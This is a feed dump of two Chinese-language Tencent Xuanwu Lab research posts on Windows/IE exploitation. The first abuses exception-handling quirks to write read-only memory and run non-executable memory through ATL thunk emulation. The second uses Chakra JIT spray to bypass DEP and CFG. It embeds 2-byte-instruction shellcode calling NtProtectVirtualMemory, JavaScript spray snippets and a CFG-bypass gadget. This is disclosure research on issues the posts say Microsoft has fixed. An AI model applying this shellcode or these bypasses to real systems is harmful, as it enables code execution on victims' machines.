tombkeeper – 腾讯玄武实验室 http://xlab.tencent.com/cn Thu, 09 Nov 2017 03:17:42 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.6 异常中的异常——借助系统异常处理特例实现匪夷所思的漏洞利用 http://xlab.tencent.com/cn/2016/04/05/exception-in-exception/ Tue, 05 Apr 2016 08:58:01 +0000 http://xlab.tencent.com/cn/?p=74 继续阅读“异常中的异常——借助系统异常处理特例实现匪夷所思的漏洞利用”]]> 内存的读、写、执行属性是系统安全最重要的机制之一。通常,如果要改写内存中的数据,必须先确保这块内存具有可写属性,如果要执行一块内存中的代码,必须先确保这块内存具有可执行属性,否则就会引发异常。然而,Windows系统的异常处理流程中存在一些小小的特例,借助这些特例,就可以知其不可写而写,知其不可执行而执行。

0x01 直接改写只读内存

我在CanSecWest 2014的演讲《ROPs are for the 99%》中介绍了一种有趣的IE浏览器漏洞利用技术:通过修改JavaScript对象中的某些标志,从而关闭安全模式,让IE可以加载类似WScript.Shell这样的危险对象,从而执行任意代码而完全无需考虑DEP。

不过,修改SafeMode标志并非是让IE可以加载危险对象的唯一方法。

IE浏览器的某些界面实际上是用HTML实现的,这些HTML通常存储在ieframe.dll的资源中,例如:打印预览是res://ieframe.dll/preview.dlg,整理收藏夹是res://ieframe.dll/orgfav.dlg,页面属性则是 res://ieframe.dll/docppg.ppg。

IE浏览器会为这些HTML创建独立的渲染实例,以及独立的JavaScript引擎实例。而为这些HTML创建的JavaScript引擎实例中,SafeMode本身就是关闭的。

所以,只需将JavaScript代码插入到ieframe.dll的资源中,然后触发IE的相应功能,被插入的代码就会被当作IE自身的功能代码在SafeMode关闭的JavaScript实例下执行。

不过,PE的资源节是只读的,如果试图用某个能对任意地址进行写入的漏洞直接改写ieframe.dll的资源,会触发写访问违例:

eax=00000041 ebx=1e2e31b0 ecx=00000000 edx=00000083 esi=1e2e31b0 edi=68b77fe5
eip=69c6585f esp=0363ac00 ebp=0363ac84 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
jscript9!Js::JavascriptOperators::OP_SetElementI+0x117:
69c6585f 88040f          mov     byte ptr [edi+ecx],al      ds:002b:68b77fe5=76
0:008> !exchain
0363b0f0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363b648: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bab8: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bb78: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+28c0 (69c71564)
0363bbc0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+2898 (69c7150f)
0363bc44: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+276a (69d0dedd)
0363c588: MSHTML!_except_handler4+0 (66495fa4)
  CRT scope  0, filter: MSHTML! ... Omitted... (6652bbe8) 
                func:   MSHTML!... Omitted... (6652bbf1)
0363c62c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, func:   user32!UserCallWinProcCheckWow+123 (75664456)
0363c68c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, filter: user32!DispatchMessageWorker+15e (756659b7)
                func:   user32!DispatchMessageWorker+171 (756659ca)
0363f9a8: ntdll!_except_handler4+0 (776a71f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (776a74d0)
                func:   ntdll!__RtlUserThreadStart+63 (776a90eb)
0363f9c8: ntdll!FinalExceptionHandler+0 (776f7428)

在上面的异常处理链中,mshtml.dll中的异常处理函数最终会调用kernel32!RaiseFailFastException()。如果g_fFailFastHandlerDisabled标志是false,就会终止当前进程:

int __thiscall RaiseFailFastExceptionFilter(int this) {
  signed int **v1; // esi@1
  CONTEXT *v2; // ST04_4@2
  signed int v3; // eax@2
  UINT v4; // ST08_4@4
  HANDLE v5; // eax@4

  v1 = (signed int **)this;
  if ( !g_fFailFastHandlerDisabled )
  {
    v2 = *(CONTEXT **)(this + 4);
    g_fFailFastHandlerDisabled = 1;
    RaiseFailFastException(*(PEXCEPTION_RECORD *)this, v2, 2u);
    v3 = 1653;
    if ( *v1 )
      v3 = **v1;
    v4 = v3;
    v5 = GetCurrentProcess();
    TerminateProcess(v5, v4);
  }
  return 0;
}

但是,如果g_fFailFastHandlerDisabled标志为true,异常处理链就会执行到 kernel32!UnhandledExceptionFilter() ,并最终执行kernel32!CheckForReadOnlyResourceFilter() :

int __stdcall CheckForReadOnlyResourceFilter(int a1) {
  int result; // eax@2

  if ( BasepAllowResourceConversion )
    result = CheckForReadOnlyResource(a1, 0);
  else
    result = 0;
  return result;
}

如果BasepAllowResourceConversion 也为true,CheckForReadOnlyResource()函数就会将试图写入的那个内存分页的属性设为可写,然后正常返回。

也就是说,如果先将g_fFailFastHandlerDisabled和BasepAllowResourceConversion这两个标志改写为true,之后就可以直接修改ieframe.dll的资源,而不必担心其只读属性的问题,操作系统会处理好一切。

另外还有个小问题。如果像上面所说的那样触发了一次CheckForReadOnlyResource()中的修改内存属性的操作,内存属性的RegionSize也会变成一个内存分页的大小,通常是0x1000。而IE在以ieframe.dll中的HTML资源创建渲染实例前,mshtml!GetResource()函数会检查资源所在内存的RegionSize属性,如果该属性小于资源的大小,就会返回失败。然而,只需将要改写的资源从头到尾全部改写一遍, RegionSize就会相应变大,从而绕过这个检查。

这样,利用Windows写访问异常对PE文件资源节开的绿灯,就可以写出非常奇妙的漏洞利用代码。

0x02 直接执行不可执行内存

我在VARA 2009的演讲《漏洞挖掘中的时间维度》中介绍了一种较为少见的模块地址释放后重用漏洞。比如一个程序中线程A调用了模块X的函数,模块X又调用了模块Y的函数。模块Y的函数由于某种原因,耗时比较长才能返回。在它返回前,如能让线程B将模块X释放,那么模块Y的函数返回时,返回地址将是无效的。当时发现在Opera浏览器中可以利用Flash模块触发这种漏洞,一款国产下载工具也有类似问题。

另外还有不少其它类型的漏洞,最终表现也和上述问题一样,可以执行某个固定的指针,但无法控制该指针的值。在无DEP环境下,这些漏洞并不难利用,只要喷射代码到会被执行的地址即可。而在DEP环境下,这些漏洞通常都被认为是不可能利用的。

但如果在预期会被执行到的地址喷射下面这样的数据:

typedef struct _THUNK3 {
    UCHAR MovEdx;       // 0xba         mov edx, imm32
    LONG EdxImmediate; 
    UCHAR MovEcx;       // 0xb9         mov ecx, imm32
    LONG EcxImmediate; // <- put your Stack Pivot here
    USHORT JmpEcx;      // 0xe1ff       jmp ecx
} Thunk3;

即使在DEP环境下,尽管堆喷射的内存区域确定无疑不可执行,但你会惊奇地发现系统似乎还是执行了这些指令,跳到ecx所设定的地址去了。只要把ecx设为合适的值,就可以跳往任何地址,继而执行ROP链。

这是因为Windows系统为了兼容某些老版本程序,实现了一套叫ATL thunk emulation的机制。系统内核在处理执行访问异常时,会检查异常地址处的代码是否符合ATL thunk特征。对符合ATL thunk特征的代码,内核会用KiEmulateAtlThunk()函数去模拟执行它们。

ATL thunk emulation机制会检查要跳往的地址是否位于PE文件中,在支持CFG的系统上还会确认要跳往的地址能否通过CFG检查。同时,在Vista之后的Windows默认 DEP policy 下,ATL thunk emulation机制仅对没有设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT的程序生效。如果程序编译时指定了/NXCOMPAT参数,就不再兼容ATL thunk emulation了。不过还是有很多程序支持ATL thunk emulation,例如很多第三方应用程序,以及32 位的 iexplore.exe。所以,类似Hacking Team泄露邮件中的CVE-2015-2425,如能用某种堆喷成功抢占内存,也可借此技巧实现漏洞利用。

这样,利用系统异常处理流程中的ATL thunk emulation能直接执行不可执行内存的特性,就可以让一些通常认为无法利用的漏洞起死回生。

(本文大部分内容完成于2014年10月,涉及的模块地址、符号信息等基于Windows Technical Preview 6.4.9841 x64 with Internet Explorer 11。)

参考:

[1] ROPs are for the 99%, CanSecWest 2014
[2] Bypassing Browser Memory Protections
[3] (CVE-2015-2425) “Gifts” From Hacking Team Continue, IE Zero-Day Added to Mix
[4] 《漏洞挖掘中的时间维度》,VARA 2009

]]>
利用Chakra JIT绕过DEP和CFG http://xlab.tencent.com/cn/2015/12/09/bypass-dep-and-cfg-using-jit-compiler-in-chakra-engine/ Wed, 09 Dec 2015 08:46:53 +0000 http://xlab.tencent.com/cn/?p=65 继续阅读“利用Chakra JIT绕过DEP和CFG”]]> JIT Spray是一种诞生于2010年的漏洞利用技术,可将Shellcode嵌入到JIT引擎生成的可执行代码中。目前,包括Chakra在内的各JIT引擎几乎都针对该技术采取了防御措施,包括随机插入空指令、立即数加密等。本文将指出Chakra的JIT Spray防御措施的两个问题(分别存在于Windows 8.1及其之前的系统,以及Windows 10之中),使得攻击者可在IE中用JIT Spray技术执行Shellcode,从而绕过DEP。同时,本文还给出了一种利用Chakra的JIT引擎绕过CFG的方法。

0x01 JIT引擎的立即数加密

立即数加密是最重要的JIT Spray缓解技术。Chakra引擎会对每一个高位或低位不是0x0000或0xFFFF的用户传入的立即数用随机生成的Key进行异或,再在运行时还原。例如,对于以下JavaScript:

...
a ^= 0x90909090;
a ^= 0x90909090;
a ^= 0x90909090;
...

生成的机器指令将类似于:

...
096b0091 ba555593c5      mov     edx,0C5935555h
096b0096 81f2c5c50355    xor     edx,5503C5C5h
096b009c 33fa            xor     edi,edx
096b009e bab045edfb      mov     edx,0FBED45B0h
096b00a3 81f220d57d6b    xor     edx,6B7DD520h
096b00a9 33fa            xor     edi,edx
096b00ab baef85f139      mov     edx,39F185EFh
096b00b0 81f27f1561a9    xor     edx,0A961157Fh
096b00b6 33fa            xor     edi,edx
...

从而使所生成指令中的立即数不可预测,也就无法嵌入代码。

0x02 绕过Windows 8.1及其之前Chakra引擎的立即数加密

Chakra引擎内部对整数n会以n*2+1的方式存储。所以,在处理n=n+m时,不必从n*2+1还原出n再和m相加,只需要将m*2加到n*2+1的结果上去即可。而对于m*2,Windows 8.1及其之前的Chakra引擎会认为是其自身生成的数据,而不是用户传入的,所以不会进行加密。例如对以下JavaScript:

...
a += 0x18EB9090/2;
a += 0x18EB9090/2;
...

在某几个条件同时满足的情况下,可以让Windows 8.1及其之前的Chakra引擎生成类似这样的机器指令:

...
05010090 81c19090eb18    add     ecx,18EB9090h
05010096 0f80d6010000    jo      05010272
0501009c 8bf9            mov     edi,ecx
0501009e 8b5dbc          mov     ebx,dword ptr [ebp-44h]
050100a1 f6c301          test    bl,1
050100a4 0f8413020000    je      050102bd
050100aa 8bcb            mov     ecx,ebx
050100ac 81c19090eb18    add     ecx,18EB9090h
050100b2 0f8005020000    jo      050102bd
050100b8 8bf9            mov     edi,ecx
050100ba 8b5dbc          mov     ebx,dword ptr [ebp-44h]
050100bd f6c301          test    bl,1
050100c0 0f8442020000    je      05010308
050100c6 8bcb            mov     ecx,ebx
...
0:017> u 05010090 + 2 l 3
05010092 90              nop
05010093 90              nop
05010094 eb18            jmp     050100ae
0:017> u 050100ae l 3
050100ae 90              nop
050100af 90              nop
050100b0 eb18            jmp     050100ca

所以只要写出每条指令长度不大于2字节的 Shellcode,就可以嵌入到立即数中。因为实际产生的立即数是JavaScript中数字的2倍,所以使用的指令如果是2字节,第1字节必须为偶数。这是完全可能做到的。

0x5854   // push esp--pop eax    ; eax = esp, make eax writeable
0x5252   // push edx--push edx   ; esp -= 8
0x016A   // push 1
0x4A5A   // pop  edx--dec edx    ; edx = 0
0x5E52   // push edx--pop esi    ; esi = 0
0x40B6   // mov  dh, 0x40        ; edx = 0x4000, NumberOfBytesToProtect
0x5452   // push edx--push esp   ; *esp = &NumberOfBytesToProtect
0x5B90   // pop  ebx             ; ebx = &NumberOfBytesToProtect
0x14B6   // mov  dh, 0x14
0x14B2   // mov  dl, 0x14
0x5266   // push dx
0x5666   // push si              ; *esp = 0x14140000
0x525A   // pop  edx-push edx    ; edx = 0x14140000
0x5E54   // push esp--pop  esi   ; esi = &BaseAddress, 
0x5454   // push esp--push esp   ; push &OldAccessProtection 
0x406A   // push 0x40            ; PAGE_EXECUTE_READWRITE
0x5390   // push ebx             ; push  &NumberOfBytesToProtect
0x5690   // push esi             ; push &BaseAddress
0xFF6A   // push -1              ; 
0x5252   // push edx--push edx   ; set ret addr
0x5290   // push edx             ; prepare esp for fs:[esi]
0x016A   // push 1
0x4A5A   // pop  edx--dec edx    ; edx = 0
0xC0B2   // mov  dl, 0xC0
0x5E52   // push edx--pop esi
0x5F54   // push esp--pop edi
0xA564   // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
0x4FB2   // mov  dl, 0x50        ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
0x5290   // push edx
0xC358   // pop  eax--ret        ; ret to syscall

0x03 绕过Windows 10的 Chakra引擎的立即数加密

Windows 10的Chakra引擎并没有前述问题。但是,由于Windows 10的Chakra引擎高度优化,在处理整数类型数组写入操作时,会用最高效的方式生成JIT代码。例如,对于下面的JavaScript语句:

var ar = new Uint16Array(0x10000);
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
...

生成的机器指令是:

...
0b8110e0 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110e9 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110f2 66c786909000009090 mov   word ptr [esi+9090h],9090h
0b8110fb 66c786909000009090 mov   word ptr [esi+9090h],9090h
...

虽然Chakra引擎的JIT Spray防御措施只允许用户控制最多2字节立即数,但在上面这种情况下,数组索引和要写入的数字会出现在同一条指令中。所以实际上我们有了4字节而不是2字节的可控数据。

在这种情况下,同样可在其中嵌入前面提到的每条指令长度不大于2字节的Shellcode。只是由于多了中间的两字节0x00(会被作为指令“add byte ptr [eax],al”执行),所以需要在最开始两字节的指令中将EAX设为可写的地址。

0x04 利用Chakra引擎绕过CFG

利用前面介绍的两种方法,可以实施JIT Spray绕过DEP。但嵌入在JIT代码中的Shellcode执行入口地址显然无法通过CFG检查。但实际上Chakra引擎的实现中就存在可用来绕过CFG的地方。

无论所执行的JavaScript是否需要启动JIT,Chakra引擎都一定会在内存中生成如下入口函数:

0:017> uf 4ff0000
04ff0000 55          push  ebp
04ff0001 8bec        mov   ebp,esp
04ff0003 8b4508      mov   eax,dword ptr [ebp+8]
04ff0006 8b4014      mov   eax,dword ptr [eax+14h]
04ff0009 8b4840      mov   ecx,dword ptr [eax+40h]
04ff000c 8d4508      lea   eax,[ebp+8]
04ff000f 50          push  eax
04ff0010 b840cb5a71  mov   eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
04ff0015 ffe1        jmp   ecx

这个函数的指针可以通过CFG检查,同时,这个函数在jmp ecx之前,并没有对ecx的指针其进行CFG检查。所以,这个入口函数实际上相当于一个可以跳往任意地址的跳板。下面我们姑且将其称作“cfgJumper”。

0x05 定位JIT内存和“cfgJumper”

要利用JIT Spray绕过DEP和利用“cfgJumper”绕过CFG,就需要定位JIT编译后的代码和“cfgJumper”,有趣的是,找到它们的方法几乎是相同的。

在JavaScript中所写的任何一个函数,都对应一个Js::ScriptFunction对象。每个Js::ScriptFunction对象又包含着一个Js::FunctionBody对象。Js::FunctionBody对象中保存着调用这个JavaScript函数时实际会执行的内存指针。

如果一个函数未被调用过,那么它的Js::FunctionBody中存放的实际内存指针是Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:

0:002> dc 0b89de70 l 8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000  6ff6c970 70181720 00000001 00000000  p..o ..p........
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 70181720 l 1
Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
70181720 55              push    ebp

如果一个函数被调用过,但没有被编译为JIT代码,仍然是解释执行,那么它的Js::FunctionBody中存放的实际内存指针是“cfgJumper”:

0:002> dc 0b89de70 l 8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000  6ff6c970 00860000 00000001 00000000  p..o............
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 00860000
00860000 55          push  ebp
00860001 8bec        mov   ebp,esp
00860003 8b4508      mov   eax,dword ptr [ebp+8]
00860006 8b4014      mov   eax,dword ptr [eax+14h]
00860009 8b4840      mov   ecx,dword ptr [eax+40h]
0086000c 8d4508      lea   eax,[ebp+8]
0086000f 50          push  eax
00860010 b800240870  mov   70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk

如果一个函数被循环调用多次,导致Chakra引擎将其编译为JIT代码,那么它的Js::FunctionBody中存放的实际内存指针就是该函数编译后的JIT代码指针:

0:002> d 0b89de70 l8
0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
0:002> d 0b8d0000 l8
0b8d0000  6ff6c970 00950000 00000001 00000000  p..o............
0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
0:002> u 00950000
00950000 55              push    ebp
00950001 8bec            mov     ebp,esp
00950003 81fc44c9120b    cmp     esp,0B12C944h
00950009 7f18            jg      00950023
0095000b 6a00            push    0
0095000d 6a00            push    0
0095000f 68e0c72c07      push    72CC7E0h
00950014 6844090000      push    944h

了解了Js::ScriptFunction和Js::FunctionBody对象的结构,以及上面所述的这些,就可以准确地找到编译后的JIT代码,和“cfgJumper”。

0x06 随机插入空指令的问题

除了立即数加密,Chakra引擎也采用了随机插入空指令的方法来缓解JIT Spray。不过Chakra插入空指令的密度并不高。PoC中使用的由29个16位数组成的JIT Shellcode,在针对Windows 10的利用方式中,会生成29条x86指令,其中几乎不会被插入空指令。但是在针对Windows 8.1及其之前的Chakra引擎的利用方式中,会生成约200条x86指令,就很可能被插入空指令。

解决这个问题的方法是:
1、创建一个新的script标签,并将包含JIT ShellCode的JavaScript函数放在里面。
2、循环调用该函数触发JIT编译。
3、读取编译后的代码,判断JIT ShellCode中间是否被插入了空指令。
4、如果被插入了空指令,就销毁script标签,重新创建。循环上述过程。

本文测试环境是安装了2015年5月补丁的Windows 8.1和Windows 10 TP 9926。
本文所述问题微软已于2015年9月修复。

]]>